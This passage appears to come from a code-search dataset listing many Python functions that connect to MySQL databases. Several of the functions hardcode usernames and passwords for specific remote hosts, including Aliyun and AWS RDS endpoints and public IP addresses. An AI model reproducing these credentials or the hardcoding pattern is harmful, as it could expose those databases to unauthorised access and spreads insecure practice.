Union[Union[CMySQLConnection, MySQLConnection], Any]:\n connectService: Union[Union[CMySQLConnection, MySQLConnection], Any] = mysql.connector.connect(\n host=\"\",\n user=\"\",\n passwd=\"\",\n database=\"ServiceDirectoryOpenActiveAggregated\")\n return connectService","def connect_db():\n db = MySQLdb.connect(host=\"localhost\",user='root',\n passwd=config.DB_PASSWD,db=\"MusicDB\")\n cursor = db.cursor()\n return db, cursor","def connect():\n db_config = read_db_config()\n\n try:\n\n conn = pymysql.connect(**db_config, cursorclass=pymysql.cursors.DictCursor)\n\n if conn.open:\n print('Connected to MySQL database')\n else:\n print('connection failed.')\n\n with conn.cursor() as cursor:\n # Create a new record\n sql = \"INSERT INTO `users` (`email`, `password`) VALUES (%s, %s)\"\n cursor.execute(sql, ('webmaster@python.org', 'very-secret'))\n\n # connection is not autocommit by default. So you must commit to save\n # your changes.\n conn.commit()\n\n with conn.cursor() as cursor:\n # Read a single record\n sql = \"SELECT `id`, `password` FROM `users` WHERE `email`=%s\"\n cursor.execute(sql, ('webmaster@python.org',))\n result = cursor.fetchone()\n\n while result is not None:\n print(result)\n result = cursor.fetchone()\n\n finally:\n conn.close()","def get_db() -> mysql.connector.connection.MySQLConnection:\n username = getenv('PERSONAL_DATA_DB_USERNAME')\n password = getenv('PERSONAL_DATA_DB_PASSWORD')\n host = getenv('PERSONAL_DATA_DB_HOST')\n db = getenv('PERSONAL_DATA_DB_NAME')\n\n conect = mysql.connector.connection.MySQLConnection(\n host=host,\n user=username,\n password=password,\n database=db\n )\n return conect","def __open(self):\n\n try:\n cnx = mysql.connector.connect(\n host=self.__host,\n user=self.__user,\n password=self.__password,\n database=self.__database\n )\n self.__connection = cnx\n self.__cursor = cnx.cursor(buffered=True, dictionary=True)\n\n except mysql.connector.Error as err:\n print(\"Something went wrong: {}\".format(err))","def open_db_connection():\n database = MySQLdb.connect( host = HOST, db = DATABASE,\n user = DBUSER, passwd = DBPASSWD,\n cursorclass = DictCursor )\n database.cursor().execute( 'SET AUTOCOMMIT = 1' )\n database.cursor().execute( \"SET NAMES 'utf8'\" )\n return database","def __init__(self,db_user,db_pwd,db_host,db_port,db_name):\n self.std_error = \"Could not connect to database. Check that it is running correctly.\"\n self.engine = db.create_engine(f'mysql+pymysql://{db_user}:{db_pwd}@{db_host}:{db_port}/{db_name}')","def establishConnection():\r\n global USER\r\n global PW\r\n global HOST\r\n global DB\r\n try:\r\n cnx = mysql.connector.connect(user=USER, password=PW, host=HOST, database=DB)\r\n cursor = cnx.cursor()\r\n return cnx, cursor\r\n except mysql.connector.Error as err:\r\n if err.errno == mysql.connector.errorcode.ER_ACCESS_DENIED_ERROR:\r\n print(\"Something is wrong with your user name or password\")\r\n elif err.errno == mysql.connector.errorcode.ER_BAD_DB_ERROR:\r\n print(\"Database does not exist\")\r\n else:\r\n print(\"Could not establish connection\")\r\n print(err)\r\n sys.exit(1)\r\n except:\r\n print(\"Could not establish connection\")\r\n sys.exit(1)","def __connect(self):\n self.conn = pymysql.connect(self.opts.DB_HOST, self.opts.DB_USER,\n self.opts.DB_PASSWORD, self.opts.DB_NAME)","def __init__(self, hostname, username, password, database_name):\n self.hostname = hostname\n self.username = username\n self.password = password\n self.database_name = database_name\n \n self.db = MySQLdb.connect(host=self.hostname, user=self.username, passwd=self.password, db=self.database_name)","def Engine_Connection(self):\n try:\n # Engine Connection\n engine = create_engine('mysql+mysqlconnector://{}:{}@{}/{}'.format(self.user,self.password,self.host,self.database))\n return['Engine created', engine]\n except engine.closed():\n return print(\"Failed to create engine\")","def obtainDatabaseConnection(self):\n\t\tself.databaseConnector = DatabaseConnector()","def connect(self):\n try:\n self.conn = MySQLdb.connect(db=self.conf['db'], host=self.conf['host'],\n port=self.conf['port'], user=self.conf['user'],\n passwd=self.conf['passwd'],\n charset=self.conf['charset'])\n self.cur = self.conn.cursor()\n self.conn.autocommit(self.conf[\"autocommit\"])\n # print \"connected to \", self.conf['host'], self.conf['db']\n except:\n print (\"MySQL connection failed\")\n raise","def __init__(self) -> None:\n settings = get_project_settings()\n self.db = pymysql.connect(\n host=settings['MYSQL_SERVER'],\n port=settings['MYSQL_PORT'],\n user=settings['MYSQL_USERNAME'],\n password=settings['MYSQL_PASSWORD'],\n db=settings['MYSQL_DB']\n ) \n self.cursor = self.db.cursor()","def __init__(self):\n\t\tConnectorMySQL.__init__(self)","def __init__(self):\r\n self.connection = MySQLdb.connect(host=\"db4free.net\", db=\"academicsys\", user=\"desenvolvedores\", passwd=\"acesso\")\r\n self.cursor = self.connection.cursor()","def connect(self, database=None):\n try:\n if database: # if is not Null\n self._database = database\n connection = pymysql.connect(self._host, self._username, self._password, self._database)\n return connection\n except pymysql.InternalError as error:\n print(error.args[1])","def create_connection():\r\n try:\r\n conn = sq.connect(DBClass.db_name)\r\n except sq.Error as e:\r\n raise e\r\n \r\n return conn","def db_connect(dba):\n LOGGER.debug(\"Connecting to %s on %s\", dba['name'], dba['host'])\n try:\n conn = MySQLdb.connect(host=dba['host'], user=dba['user'],\n passwd=dba['password'], db=dba['name'])\n except Exception as err:\n sql_error(err)\n try:\n cur = conn.cursor()\n return conn, cur\n except Exception as err:\n sql_error(err)","def _get_mysql_engine():\n\n return sa.create_engine(\n sa.engine.url.URL(\n drivername=\"mysql+pymysql\",\n username=\"username\", # Change that!!\n password=\"password\", # Change that!!\n host=\"host\", # Change that!!\n port=c.PORT,\n database=c.DATABASE,\n ),\n encoding=\"utf-8\", # Since there will be some japanse chars\n )","def Database_Connection(self):\n # Database connection\n try: \n # Connect to DB- mysql.connector\n connection = mysql.connector.connect(\n user=self.user,\n password=self.password,\n host=self.host,\n database=self.database\n )\n # Create cursor\n cursor = connection.cursor(prepared=True)\n except mysql.connector.Error as error:\n return print(\"Failed to execute stored procedure: {}\".format(error))\n \n finally:\n if (connection.is_connected()):\n cursor.close()\n return [\"Connection Established\", connection]","def __init__(self, mysql_url):\n\n # Store the url for future reference\n self.mysql_url = mysql_url\n # Report connection error only once\n self.report_connection_error = True\n\n # Parse MySQL URL and try to initialize a connection\n conn_kwargs = MySqlPipeLine.parse_mysql_url(mysql_url)\n self.dbpool = adbapi.ConnectionPool('MySQLdb',\n charset='utf8',\n use_unicode=True,\n connect_timeout=5,\n **conn_kwargs)","def reconnect():\n\tcnx = mysql.connector.connect(pool_name= \"mypool\", pool_size=6, user=MYSQL_USER, password=MYSQL_PW, host=MYSQL_HOST, database='test',charset='utf8mb4', collation='utf8mb4_general_ci', get_warnings=True, connection_timeout=3600)\n\treturn (cnx.cursor(), cnx)","def get_canary_mysql_conn(self):\n from airflow.hooks.dbapi_hook import DbApiHook\n conn = DbApiHook.get_connection(self.canary_conn_id)\n canary_username = conn.login\n canary_password = conn.password\n canary_database = conn.schema\n canary_hostname = conn.host\n\n # logging.info(\"canary_username={0}, canary_database={1}, canary_hostname={2}\"\n # .format(canary_username, canary_database, canary_hostname))\n return {'canary_hostname': canary_hostname,\n 'canary_database': canary_database,\n 'canary_jdbc_conn_props':\n {'user': canary_username,\n 'password': canary_password\n }\n }","def db_connect():\n\n rds_host = os.environ['RDS_HOST']\n name = os.environ['DB_USERNAME']\n password = os.environ['DB_PASS']\n db_name = os.environ['DB_NAME']\n\n # try to connect to mysql db\n try:\n conn = pymysql.connect(rds_host, user=name, passwd=password, db=db_name, cursorclass=pymysql.cursors.DictCursor)\n except pymysql.MySQLError as e:\n conn = None\n print(e)\n\n return conn","def open (self,HOST='localhost',USER ='grafanauser',PASSWORD='Mars2020',DATABASE='scpdata',AUTH_PLUGIN='mysql_native_password'):\n self._port = mysql.connector.connect(user=USER, password=PASSWORD, host=HOST, database=DATABASE, auth_plugin=AUTH_PLUGIN)\n if not self._port.is_connected():\n print(\"Unable to connect to \" + str(HOST))\n\n return self._port.is_connected()","def db_connection(self):\n try:\n self.connection = connect(host=self.host, user=self.user, password = self.password, db = self.db, cursorclass = self.cursor)\n except MySQLError:\n print(\"DB Error\")","def connect(self,schema_name = ''):\n\t\tif schema_name == '':\n\t\t\tif self.__schema_name=='':\n\t\t\t\tprint('Specify name of the schema/db first')\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\tprint('Use the previous schema_name %s'%self.__schema_name)\n\t\telse:\n\t\t\tif self.__schema_name == schema_name:\n\t\t\t\t\tprint('Seem to be the same engine')\n\t\t\tself.__schema_name = schema_name\n\t\t\t\n\t\tif self.connected:\n\t\t\tself.close()\n\t\ttry:\n#\t\t\t self.__db = pymysql.connect(host = \"rm-j6cluj4576jdi6n6oo.mysql.rds.aliyuncs.com\",\\\n#\t\t\t\t\t\t\t\t database = schema_name, user='cognitiveleap', password= 'QWE@123456')\n\t\t\t#self.__cursor = self.__db.cursor()\n\t\t\tself.__engine = create_engine(\"mysql+pymysql://cognitiveleap:QWE@123456@rm-j6cluj4576jdi6n6oo.mysql.rds.aliyuncs.com/%s\"%self.__schema_name)\n\t\texcept Exception as e:\n\t\t\traise Exception (3)\n\t\tself.connected = True","def __get_connection():\n # 根据配置文件创建连接池\n if not Mysql.__mysql_pool:\n Mysql.__mysql_pool = PooledDB(\n creator=MySQLdb,\n use_unicode=False,\n cursorclass=DictCursor,\n db=sqlconf.MysqlConfig['db'],\n host=sqlconf.MysqlConfig['host'],\n port=sqlconf.MysqlConfig['port'],\n user=sqlconf.MysqlConfig['user'],\n passwd=sqlconf.MysqlConfig['passwd'],\n charset=sqlconf.MysqlConfig['charset'],\n mincached=sqlconf.MysqlConfig['mincached'],\n maxcached=sqlconf.MysqlConfig['maxcached'],\n maxconnections=sqlconf.MysqlConfig['maxconnections'])\n # 返回连接池中连接对象\n return Mysql.__mysql_pool.connection()","def connect():\n \n try:\n\n engine = create_engine('mysql+mysqlconnector://dublinbikesadmin:dublinbikes2018@dublinbikes.cglcinwmtg3w.eu-west-1.rds.amazonaws.com/dublinbikes')\n port=3306\n connection = engine.connect()\n Session.configure(bind=engine)\n return engine\n #https://campus.datacamp.com/courses/introduction-to-relational-databases-in-python/advanced-sqlalchemy-queries?ex=2#skiponboarding\n\n except Exception as err:\n print (\"An error occurred when connecting to the database: \", err)\n #https://dev.mysql.com/doc/connector-python/en/connector-python-api-errors-error.html","def __init__(self):\n user = os.getenv('URL_MYSQL_USER')\n passwd = os.getenv('URL_MYSQL_PWD')\n host = os.getenv('URL_MYSQL_HOST')\n database = os.getenv('URL_MYSQL_DB')\n self.__engine = create_engine('mysql+mysqldb://{}:{}@{}/{}'\n .format(user, passwd, host, database))","def getDB(self):\r\n return MySQLdb.connect(user=\"root\", passwd=\"asdf\", db=\"cloudchatdb\", connect_timeout=30, charset=\"utf8\")","def connectToDatabase():\n\n #Connect to Database With Environment Values\n conn = pymysql.connect(\n host=os.environ.get(\"CHRONICLER_DATABASE_HOST\"),\n user=os.environ.get(\"CHRONICLER_DATABASE_USER\"),\n passwd=os.environ.get(\"CHRONICLER_DATABASE_PASSWORD\"),\n db=os.environ.get(\"CHRONICLER_DATABASE_DB\"),\n\t\t\t\tcharset=\"utf8mb4\")\n\n #Return the Connection\n return conn","def sqlLogin ( loginInfo ) :\n assert len ( loginInfo ) == 4\n c = _mysql.connect(\n host = loginInfo [ 0 ],\n user = loginInfo [ 1 ],\n passwd = loginInfo [ 2 ],\n db = loginInfo [ 3 ] )\n assert str(type(c)) == \"<type '_mysql.connection'>\"\n return c","def db_connect():\n DB_SETTINGS = app.config['DB_SETTINGS']\n engine = create_engine(URL(**DB_SETTINGS))\n connection = engine.connect()\n return connection"],"string":"[\n \"def getConnection(self):\\n if (not self.initialized):\\n logging.error(\\\"Module is not initialized\\\")\\n \\n conn_options = {\\n 'user': self.user,\\n 'password' : self.password,\\n 'host' : self.host,\\n 'port' : self.port,\\n 'database' : self.dbname,\\n 'raise_on_warnings': True\\n }\\n db = mysql.connector.connect(**conn_options)\\n return db\",\n \"def connect_to_db(host=None, database=None, user=None, password=None):\\n try:\\n # ALTER TABLE testowa AUTO_INCREMENT = 1\\n host = host if host else 'localhost'\\n database = database if database else DB_name\\n user = user if user else DB_user\\n password = password if password else DB_pass\\n\\n connection = mysql_connector.connect(host=host, database=database, user=user, password=password, port=3306)\\n if connection.is_connected():\\n return connection\\n except mysql_error as err:\\n print(err)\\n print(\\\"Error Code:\\\", err.errno)\\n print(\\\"SQLSTATE\\\", err.sqlstate)\\n print(\\\"Message\\\", err.msg)\\n connection = None\\n finally:\\n return connection\",\n \"def create_connection():\\n try:\\n return mysql.connector.connect(user=MYSQL_USER, password=MYSQL_PWD, host=MYSQL_HOST, database=MYSQL_DB)\\n except mysql.connector.Error as err:\\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\\n print(\\\"Something is wrong with your user name or password\\\")\\n return\\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\\n print(\\\"Database does not exist\\\")\\n return\\n else:\\n print(err)\\n return\",\n \"def create_pymysql_connection(\\n dbname: str, prod: bool = True, **kwargs\\n) -> pymysql.connections.Connection:\\n logger = logging.getLogger(__name__)\\n db_config: Dict = toolbox.open_system_config(prod=prod, config_type=\\\"DB_CONFIG\\\")[\\n dbname\\n ]\\n conn: pymysql.connections.Connection = None\\n try:\\n conn = pymysql.connect(\\n host=db_config.get(\\\"hostname\\\"),\\n port=db_config.get(\\\"port\\\"),\\n user=db_config.get(\\\"username\\\"),\\n passwd=db_config.get(\\\"password\\\"),\\n db=db_config.get(\\\"db\\\"),\\n **kwargs,\\n )\\n return conn\\n except pymysql.Error:\\n pass\\n try:\\n conn = mysql.connector.connect(\\n host=db_config.get(\\\"hostname\\\"),\\n user=db_config.get(\\\"username\\\"),\\n password=db_config.get(\\\"password\\\"),\\n )\\n return conn\\n except mysql.connector.Error:\\n logger.error(\\n \\\"Error connecting using mysql.connector to database: \\\\n host: {host}; user: {user}; db: {db}\\\".format(\\n host=db_config.get(\\\"hostname\\\"),\\n user=db_config.get(\\\"username\\\"),\\n db=db_config.get(\\\"db\\\"),\\n )\\n )\\n raise\",\n \"def make_mysql_connection(db_secret_name):\\n return db.connect_to_mysql(aws.get_secrets_manager_secret(db_secret_name), ssl_path=SSL_PATH)\",\n \"def connect(self):\\n self.db = pymysql.connect(self.db_ip, self.uid, self.pwd, self.db_name)\\n self.cursor = self.db.cursor()\",\n \"def connect_to_db():\\n\\n # The Database login details\\n config = {\\n 'user': 'DbMysql08',\\n 'password': 'DbMysql08',\\n 'host': '127.0.0.1', #use 'host' :'mysqlsrv1.cs.tau.ac.il'\\n 'database': 'DbMysql08',\\n 'port': 3305, #'port': 3306\\n 'raise_on_warnings': True,\\n }\\n\\n try:\\n cnx = mysql.connector.connect(**config)\\n except mysql.connector.Error as err:\\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\\n print(\\\"Something is wrong with your user name or password\\\")\\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\\n print(\\\"Database does not exist\\\")\\n else:\\n print(err)\\n\\n cur = cnx.cursor(buffered = True)\\n return cnx,cur\",\n \"def __init__(self, host: str = 'localhost', port: int = 3306, \\\\\\n user: str = 'root', password: str = 'P0pc@rn00'):\\n self.__database = mysql.connector.connect(\\n host=host,\\n port=port,\\n user=user,\\n password=password,\\n database='plasma_meter'\\n )\\n\\n self.__database_cursor = self.__database.cursor()\",\n \"def connect():\\n try:\\n conn = mysql.connector.connect(host='localhost',database='autotester',user='root', password='Tthht@123')\\n #if conn.is_connected():\\n # print('Connected to MySQL database\\\\n')\\n except Error as e:\\n print(e)\\n finally:\\n return conn\",\n \"def __init__(self, host=\\\"\\\", user=\\\"\\\", password=\\\"\\\", database=\\\"\\\"):\\n\\n try:\\n self.connection = mysql.connector.connect(\\n host=host,\\n user=user,\\n password=password,\\n database=database\\n )\\n self.cursor = self.connection.cursor(buffered=True)\\n\\n except Exception as e:\\n print(e)\",\n \"def Connector(base, config=None):\\n #os.chdir(\\\"\\\")\\n audit_log('Connector', 'Connect MySQL', base)\\n try:\\n conn = None\\n if not config:\\n #config = read_db_config(r'C:\\\\Asia-Assistance\\\\RPA3.0\\\\SourceCode\\\\RPA.DTI\\\\config.ini', 'mysql')\\n config = read_db_config(dti_path+r'\\\\config.ini', 'mysql')\\n print('Connecting to MARC database...')\\n conn = mysql.connector.connect(host=config['host'],database=config['database'],\\n user=config['user'], password=config['password'])\\n\\n if conn.is_connected():\\n print('connection established.')\\n return conn\\n else:\\n print('connection failed.')\\n except Error as error:\\n logging('Connector', error, base)\\n print(error)\",\n \"def connect(self):\\n self.connection = mysql.connector.connect(host=self.host, \\n database=self.database, \\n user=self.user, \\n password=self.password, \\n auth_plugin=self.auth_plugin)\\n if self.connection.is_connected():\\n print(\\\"Succesful connection to the database {} as {}\\\".format(self.database, self.user))\\n self.cursor = self.connection.cursor()\\n else:\\n print(\\\"The connection to the database was not successful.\\\")\",\n \"def get_mysql_conn(config):\\n mysql_conn_type = config.get('mysql', 'mysql_conn_type', 0)\\n mysql_user = config.get('mysql', 'mysql_user', 0)\\n mysql_pwd = config.get('mysql', 'mysql_pwd', 0)\\n if mysql_user == '':\\n mysql_user = getpass.getuser()\\n\\n if mysql_conn_type == 'pyodbc':\\n mysql_pwd = get_mysql_pwd(config)\\n mysql_dsn = config.get('mysql', 'mysql_dsn', 0)\\n \\n # Create database connection.\\n import pyodbc\\n DB_URI = \\\"mysql+pyodbc://{user}:{password}@{dsn}\\\"\\n conn = create_engine(\\n DB_URI.format( user=mysql_user, password=mysql_pwd, dsn=mysql_dsn ))\\n return(conn)\\n else:\\n # Try to read encrypted MySQL password from ~/.mylogin.cnf and mysql_path.\\n mysql_path = config.get('mysql', 'mysql_path', 0)\\n if mysql_pwd == '':\\n if mysql_path != '':\\n # Read encrypted password and decrypt it with mylogin module.\\n # While better than clear-text, be careful about securing the pw file.\\n # However, it's probably the best method for unattended use.\\n try:\\n # Get encrypted password. This requires the mylogin module.\\n import mylogin\\n mysql_host = config.get('mysql', 'mysql_host', 0)\\n login = mylogin.get_login_info(mysql_path, host=mysql_host)\\n mysql_pwd = login['passwd']\\n except mylogin.exception.UtilError as err:\\n print(\\\"mylogin error: {0}\\\".format(err))\\n else:\\n mysql_pwd = get_mysql_pwd(config)\\n\\n # Import packages.\\n import mysql.connector\\n from mysql.connector.constants import ClientFlag\\n\\n # Get SSL settings (file paths to SSL keys and certs).\\n ssl_ca = config.get('mysql-ssl', 'ssl_ca', 0)\\n ssl_cert = config.get('mysql-ssl', 'ssl_cert', 0)\\n ssl_key = config.get('mysql-ssl', 'ssl_key', 0)\\n \\n # Check for existence of SSL files.\\n for file_path in (ssl_ca, ssl_cert, ssl_key):\\n if not os.path.exists(file_path):\\n message = \\\"Error: Can't find: %s! Check config!\\\" % (file_path)\\n logging.critical(message)\\n raise OSError(message)\\n \\n # Create a dict of SSL settings to pass to create_engine().\\n ssl_args = {\\n 'client_flags': [ClientFlag.SSL],\\n 'ssl_ca': ssl_ca,\\n 'ssl_cert': ssl_cert,\\n 'ssl_key': ssl_key,\\n }\\n \\n # Create database connection.\\n mysql_host = config.get('mysql', 'mysql_host', 0)\\n mysql_port = config.get('mysql', 'mysql_port', 0)\\n mysql_db = config.get('mysql', 'mysql_db', 0)\\n DB_URI = \\\"mysql+mysqlconnector://{user}:{password}@{host}:{port}/{db}\\\"\\n conn = create_engine(\\n DB_URI.format( user=mysql_user, password=mysql_pwd, host=mysql_host,\\n port=mysql_port, db=mysql_db), connect_args = ssl_args )\\n return(conn)\",\n \"def create_db_conn():\\n \\n # Using SSH Tunnel because professor has closed the 3306 port from external access.\\n tunnel = create_ssh_tunnel()\\n conn = pymysql.Connect(host='127.0.0.1',\\n port=tunnel.local_bind_port,\\n user=config['username'],\\n passwd=config['db-password'])\\n return conn, tunnel\",\n \"def connect_db(host=None, user=None, pwd=None, db_name=None):\\n db_c = MySQLdb.connect(host, user, pwd, db_name)\\n return db_c\",\n \"def connect_db(self):\\n self.connection = MySQLdb.connect(\\n host=MYSQL_HOST, passwd=MYSQL_PWD,\\n user=MYSQL_USER, db=MYSQL_DB)\",\n \"def lagopus_connect_db():\\n cnx = None\\n\\n try:\\n connection_config = {\\n k: DBCONF[k]\\n for k in [\\\"user\\\", \\\"password\\\", \\\"database\\\", \\\"host\\\", \\\"raise_on_warnings\\\"]\\n }\\n cnx = mysql.connector.connect(**connection_config)\\n print(\\\"Initialized database.\\\")\\n except mysql.connector.Error as err:\\n print(\\\"Couldn't connect to MySQL: {}\\\".format(err))\\n\\n return cnx\",\n \"def connect():\\n connection = pymysql.connect(host='localhost',\\n password='budgetpedia',\\n user='budgetpedia',\\n db='budgetpedia')\\n return connection\",\n \"def setup_mysql(host, database, user, pw):\\n engine = db.create_engine('mysql+pymysql://{}:{}@{}:3306/{}'.format(user, pw, host, database))\\n tables.create_tables(engine)\\n return engine.connect()\",\n \"def connect():\\r\\n try:\\r\\n conn = mysql.connector.connect(host='localhost',\\r\\n database='railway_concession',\\r\\n user='root',\\r\\n password='')\\r\\n if conn.is_connected():\\r\\n print('Connected to MySQL database')\\r\\n \\r\\n except Error as e:\\r\\n print(e)\\r\\n \\r\\n finally:\\r\\n conn.close()\",\n \"def connect():\\n try:\\n _db_conn = mysql.connector.connect(host='192.138.0.132',\\n database='temperature',\\n user='root',\\n password='B3nmal!gn312')\\n if _db_conn.is_connected():\\n print('Connected to MySQL database')\\n _db_cursor = _db_conn.cursor()\\n except:\\n print(\\\"Could not connect to Database\\\")\",\n \"def connect(self):\\n\\t\\ttry:\\n\\t\\t\\tdb = MySQLdb.connect(self.hostname, self.username, self.password, self.db)\\n\\t\\texcept Exception as err:\\n\\t\\t\\traise(err)\\n\\t\\treturn db\",\n \"def create_connection():\\n try:\\n conn = pymysql.connect(host=HOST,\\n user=USER_NAME,\\n password=PASSWORD,\\n db=DB_NAME,\\n charset='utf8mb4',\\n cursorclass=pymysql.cursors.DictCursor)\\n return conn\\n except:\\n return None\",\n \"def getCon() -> MySQLConnection:\\n try:\\n conn = mysql.connector.connect(\\n user=\\\"root\\\",\\n password=\\\"example\\\",\\n host=\\\"localhost\\\",\\n port=3306,\\n )\\n\\n yield conn\\n conn.close()\\n except Exception as e:\\n logging.error(f\\\"Error connecting to MySql Platform: {e} {getTime()}\\\")\\n sys.exit(1)\",\n \"def connect():\\n conn = None\\n try:\\n conn = mysql.connector.connect(host='34.83.244.203',\\n database='ecommerce',\\n user='user1',\\n password='spring2020cpsc408')\\n if conn.is_connected():\\n print('Connected to MySQL database')\\n return conn\\n except Error as e:\\n print(e)\",\n \"def db_connect(name, user, passwd, host='localhost', port=3306):\\n \\\"\\\"\\\"\\n \\\"\\\"\\\"\\n\\n try:\\n db = pymysql.connect(user=user, passwd=passwd,\\n host=host, port=port,\\n db=name, use_unicode=True)\\n return db\\n except Exception:\\n logging.error(\\\"Database connection error\\\")\\n raise\",\n \"def _get_client(self):\\n self.logger.info('Connecting to MySQL running at \\\"%s\\\"...',\\n self._connection_params['host'])\\n\\n # https://dev.mysql.com/doc/connector-python\\n return connector.connect(**self._connection_params)\",\n \"def init_connection(username=None, password=None, cnx_to_db=True):\\n if not username or not password:\\n username = input(\\\"Username: \\\")\\n password = input(\\\"Password: \\\")\\n\\n try:\\n if cnx_to_db:\\n connection = mysql.connector.connect(user=username,\\n password=password,\\n database=DB_NAME)\\n else:\\n connection = mysql.connector.connect(user=username,\\n password=password)\\n except mysql.connector.Error as err:\\n raise InputError(message='There was a problem connecting. Please check'\\n ' your username and password, and make sure'\\n ' the server is running and the database has'\\n ' been created.',\\n args=err.args)\\n return connection\",\n \"def _mysql(self):\\n logging.debug(\\\"Configured to use MySQL for a database\\\")\\n db_server, db_name, db_user, db_password = self._db_credentials()\\n db_charset = \\\"utf8mb4\\\"\\n db_connection = \\\"%s:%s@%s/%s?charset=%s\\\" % (\\n db_user,\\n db_password,\\n db_server,\\n db_name,\\n db_charset,\\n )\\n\\n if self.ssl_ca != \\\"\\\":\\n db_connection = db_connection + \\\"&ssl_ca=\\\" + self.ssl_ca\\n\\n codecs.register(\\n lambda name: codecs.lookup(\\\"utf8\\\") if name == \\\"utf8mb4\\\" else None\\n )\\n __mysql = \\\"mysql://%s\\\" % db_connection\\n __mysqlclient = \\\"mysql+mysqldb://%s\\\" % db_connection\\n __pymysql = \\\"mysql+pymysql://%s\\\" % db_connection\\n __mysqlconnector = \\\"mysql+mysqlconnector://%s\\\" % db_connection\\n if self._test_connection(__mysql):\\n return __mysql\\n elif self._test_connection(__mysqlclient):\\n return __mysqlclient\\n elif self._test_connection(__pymysql):\\n return __pymysql\\n elif self._test_connection(__mysqlconnector):\\n return __mysqlconnector\\n else:\\n logging.fatal(\\n \\\"Cannot connect to database with any available driver. Verify correct username & password in rootthebox.cfg and db dependencies.\\\"\\n )\\n os._exit(1)\",\n \"def __init__(self, mysql_url):\\n\\n self.mysql_url = mysql_url\\n\\n connection_kwargs = MysqlWriter.parse_mysql_url(self.mysql_url)\\n self.sql_connection = mysql.connector.connect(**connection_kwargs)\\n self.cursor = self.sql_connection.cursor()\",\n \"def connect():\\n conn = None\\n try:\\n conn = mysql.connector.connect(host= os.getenv('HOST'),\\n database= os.getenv('DB_NAME'),\\n user= os.getenv('USER'),\\n password= os.getenv('PASSWORD'))\\n if conn.is_connected():\\n print('Connected to MySQL database')\\n \\n except Error as e:\\n print(e)\\n \\n finally:\\n if conn is not None and conn.is_connected():\\n conn.close()\",\n \"def makeDbConnection(database=Config.mySQLdb):\\n db= MySQLdb.connect(\\n host=Config.mySQLhost,\\n user=Config.mySQLuser,\\n passwd=Config.mySQLpasswd,\\n db=database,\\n charset=\\\"utf8\\\"\\n )\\n db.autocommit(True)\\n return db\",\n \"def connect_to_db(self):\\n try:\\n self.connection = pymysql.connect(host=self.host, user=self.user, password=self.password,\\n database=self.database_name)\\n except OperationalError as e:\\n print(e)\",\n \"def __init__(self):\\n\\n try:\\n self.dbConnection = mysql.connector.connect(\\n host=\\\"jack-test-db.cq0gc7w0rwke.us-east-1.rds.amazonaws.com\\\",\\n user=\\\"Javk5pakfa\\\",\\n password=\\\"GoJack123CU!\\\",\\n database=\\\"4620Test\\\")\\n except mysql.connector.Error as err:\\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\\n print(\\\"Something is wrong with your user name or password\\\")\\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\\n print(\\\"Database does not exist\\\")\\n else:\\n ErrorMessageWindow(err)\\n self.dbCursor = self.dbConnection.cursor()\",\n \"def connection(self, database=None):\\n\\n try:\\n return mysql.connector.connect(\\n host=\\\"localhost\\\",\\n user=\\\"root\\\",\\n password=\\\"R+D@11\\\",\\n database=database,\\n auth_plugin=\\\"mysql_native_password\\\",\\n )\\n except mysql.connector.Error as err:\\n messagebox.showerror(\\n \\\"MySQL Connection Error\\\",\\n \\\"Oops! Something went wrong!\\\\n\\\\n%s\\\" % err,\\n )\\n exit()\",\n \"def connect(self):\\n if self.db is not None:\\n self.disconnect()\\n\\n self.db = MySQLdb.connect(host=self.conn.host, port=self.conn.port, db=self.conn.db, user=self.conn.user, passwd=self.conn.pwd, use_unicode=True, charset='utf8', cursorclass=MySQLdb.cursors.DictCursor)\\n self.db.autocommit(self.conn.auto_commit)\",\n \"def connect():\\n\\n db_config = read_db_config(get_config_file_path())\\n\\n try:\\n conn = MySQLConnection(**db_config)\\n\\n if conn.is_connected():\\n return conn\\n else:\\n return None\\n\\n except Error as e:\\n print(e)\",\n \"def connect(self):\\n try:\\n self.connection = mysql.connector.connect(host=Context.get(Parameter.DB_HOST),\\n database=Context.get(Parameter.DB_NAME),\\n user=Context.get(Parameter.DB_USERMANE),\\n password=Context.get(Parameter.DB_PASSWORD),\\n auth_plugin='mysql_native_password')\\n self.connection.autocommit = True\\n if self.connection.is_connected():\\n db_info = self.connection.get_server_info()\\n logging.getLogger(__name__).info(\\\"Connected to MySQL Server version on %s\\\" %db_info)\\n except Error as er:\\n logging.getLogger(__name__).error(\\\"Error while connecting to MySQL %s\\\" %er)\",\n \"def connect(cls):\\n cls.conn = MySQLdb.connect(**cls.configs)\\n cls.conn.autocommit(cls.autocommit)\",\n \"def __init__(self):\\n super(CSC100DB, self).__init__()\\n try:\\n self.conn = mysql.connector.connect(\\n host=\\\"localhost\\\",\\n user=\\\"root\\\",\\n password=\\\"csc100\\\",\\n database=\\\"azwh\\\"\\n )\\n self.cursor = self.conn.cursor()\\n\\n except Exception as e:\\n print(\\\"Error:\\\", e)\",\n \"def connect():\\n try:\\n conn = mysql.connector.connect(host='localhost',\\n database='project',\\n user='root',\\n password='root123')\\n if conn.is_connected():\\n print('Connected to MySQL database')\\n\\n return conn\\n else:\\n\\t\\t\\t return None\\n except Error as e:\\n print(e)\",\n \"def connect_db():\\n db = MySQLdb.connect(host='localhost', user='root', \\n passwd='con162ess', db='ists')\\n return db\",\n \"def connect():\\n\\tdbConfig= read_db_config()\\n\\tconn = None\\n\\ttry:\\n\\t\\tprint('Connecting to MySQL database...')\\n\\t\\tconn = MySQLConnection(**dbConfig)\\n\\n\\t\\tif conn.is_connected():\\n\\t\\t\\tprint('Connection established.')\\n\\t\\telse:\\n\\t\\t\\tprint('Connection failed.')\\n\\n\\texcept Error as error:\\n\\t\\tprint(error)\\n\\t# finally:\\n\\t# \\tif conn is not None and conn.is_connected():\\n\\t# \\t\\tconn.close()\\n\\t# \\t\\tprint('Connection closed.')\\n\\treturn conn\",\n \"def connect(self):\\r\\n\\r\\n db_config = read_db_config()\\r\\n\\r\\n try:\\r\\n print('Connecting to MySQL database...')\\r\\n conn = MySQLConnection(**db_config)\\r\\n\\r\\n if conn.is_connected():\\r\\n print('connection established.')\\r\\n return conn\\r\\n else:\\r\\n print('connection failed.')\\r\\n\\r\\n except Error as e:\\r\\n print(e)\",\n \"def 